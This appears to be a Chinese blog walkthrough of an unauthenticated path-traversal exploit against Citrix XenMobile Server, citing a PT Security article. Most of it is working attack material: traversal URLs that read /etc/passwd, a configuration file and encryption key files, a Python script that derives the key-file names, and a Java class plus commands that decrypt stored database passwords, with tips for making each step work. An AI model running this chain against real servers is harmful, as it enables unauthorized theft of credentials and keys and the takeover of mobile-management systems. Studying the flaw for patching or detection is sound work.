![52d324b497df84405a89b6d6bba32841.png](https://img-blog.csdnimg.cn/img_convert/52d324b497df84405a89b6d6bba32841.png)
利用此漏洞,可以读取Web服务器根目录之外的任意文件,包括配置文件和敏感的加密密钥。不需要授权。
![2b283a7161e17f1864606ca0659ae174.png](https://img-blog.csdnimg.cn/img_convert/2b283a7161e17f1864606ca0659ae174.png)
POC(路径遍历)
/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
![6e9df8ad59331b835b58867ab666969b.png](https://img-blog.csdnimg.cn/img_convert/6e9df8ad59331b835b58867ab666969b.png)
解密配置密码 读取配置
/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/sw/config/sftu.properties
![4609dcfc344f321f37e2f711eb07ece4.png](https://img-blog.csdnimg.cn/img_convert/4609dcfc344f321f37e2f711eb07ece4.png)
密码已加密并以以下两种格式之一存储:{aes} [base64文本]或{aes} {db} [base64文本]。加密由库/opt/sas/sw/lib/libsecure.so和DataSecurity.jar处理。为了解密,需要相应的密钥。 它们位于文件/opt/sas/rt/keys/security.properties,可以使用路径遍历漏洞进行下载。
![3ae95c970509d3631a2772077ec591ef.png](https://img-blog.csdnimg.cn/img_convert/3ae95c970509d3631a2772077ec591ef.png)
使用算法对每个参数P.TXT1,P.TXT2,P.TXT3进行哈希处理
![d564ec8ea79d9eca40bed8e40d248653.png](https://img-blog.csdnimg.cn/img_convert/d564ec8ea79d9eca40bed8e40d248653.png)
test.py
from base64 import b64encode
from hashlib import sha256
print(b64encode(sha256(b'xxsbovqwtroclyjdrmgk').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'zxxwzveilgqsxhphdveh').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'pxicutcshrkhkyxpyvdg').digest()).decode('ascii').translate({47:None,61:None}))
![158b630c39664a8cf2eabc304b1369ac.png](https://img-blog.csdnimg.cn/img_convert/158b630c39664a8cf2eabc304b1369ac.png)
生成三个文件dsOeANynxbfe7P0kyRVi3iQKasokNlE8HieMubzsu1Q.txt +KRGo56ae0r6+xnuKQZaYkeJSPl5qjqJ5gs459tNg.txt ANDHaDrHC4m3G2ut1DkkY1IM0N9ok4R6r+gEVGv9+8.txt,通过遍历下载下来。 坑点:"+"号转义为%2b
/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/rt/keys/dsOeANynxbfe7P0kyRVi3iQKasokNlE8HieMubzsu1Q.txt
![c7f6ef9e1f7d3776a4a6e419f9c43dab.png](https://img-blog.csdnimg.cn/img_convert/c7f6ef9e1f7d3776a4a6e419f9c43dab.png)
/jsp/help-sb-download.jsp?
sbFileName=../../../opt/sas/rt/keys/+KRGo56ae0r6+xnuKQZaYkeJSPl5qjqJ5gs459tNg.txt
![011d5213bd2697ff7d94f5b1869529a5.png](https://img-blog.csdnimg.cn/img_convert/011d5213bd2697ff7d94f5b1869529a5.png)
/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/rt/keys/ANDHaDrHC4m3G2ut1DkkY1IM0N9ok4R6r+gEVGv9+8.txt
![57c4e9ba8a251e5e5c7931448df9fe5d.png](https://img-blog.csdnimg.cn/img_convert/57c4e9ba8a251e5e5c7931448df9fe5d.png)
/opt/sas/sw/lib/libsecure.so
需要用于加密的库。
![ba0f3962d2729330b0972c631bcb1865.png](https://img-blog.csdnimg.cn/img_convert/ba0f3962d2729330b0972c631bcb1865.png)
当务之急是这些文件(security.properties,dsOeANynxbfe7P0kyRVi3iQKasokNlE8HieMubzsu1Q.txt +KRGo56ae0r6+xnuKQZaYkeJSPl5qjqJ5gs459tNg.txt ANDHaDrHC4m3G2ut1DkkY1IM0N9ok4R6r+gEVGv9+8.txt,libsecure.so),以保存到本地。 坑点:以上5个文件必须放在对应web目录,并且opt在根目录。
![4e8cab13905b80fff4487fee3f739f4b.png](https://img-blog.csdnimg.cn/img_convert/4e8cab13905b80fff4487fee3f739f4b.png)
还需要三个Java库,保存到一个文件夹:/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/DataSecurity.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/common-interfaces.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/slf4j-api-1.6.4.jar。 在文件夹中,创建一个decrypt.class包含以下内容的文件并进行编译。 javac -cp DataSecurity.jar decrypt.java
import com.citrix.xms.security.DataSecurity;
class decrypt {
public static void main(String[] args) {
if (args.length < 1) {
System.out.println("Usage:n decrypt [encrypted string]");
return;
}
System.out.println(DataSecurity.decryptDbPassword(args[0]));
}
}
![b114dca91eb9b677aa90f59210ce3693.png](https://img-blog.csdnimg.cn/img_convert/b114dca91eb9b677aa90f59210ce3693.png)
通过正确排列所有数据,我们可以从配置文件中解密密码。
java -cp ./DataSecurity.jar:./common-interfaces.jar:./slf4j-api-1.6.4.jar:. decrypt {aes}{db}trsPTT4DkG9nMqXpv1Mi8H8nTQBMqqINy+G4VcMgyyE= 2>/dev/null
![6ce396be98b8169cb73504d8b2953f28.png](https://img-blog.csdnimg.cn/img_convert/6ce396be98b8169cb73504d8b2953f28.png)
web控制台默认用户Administrator
引用文章 https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/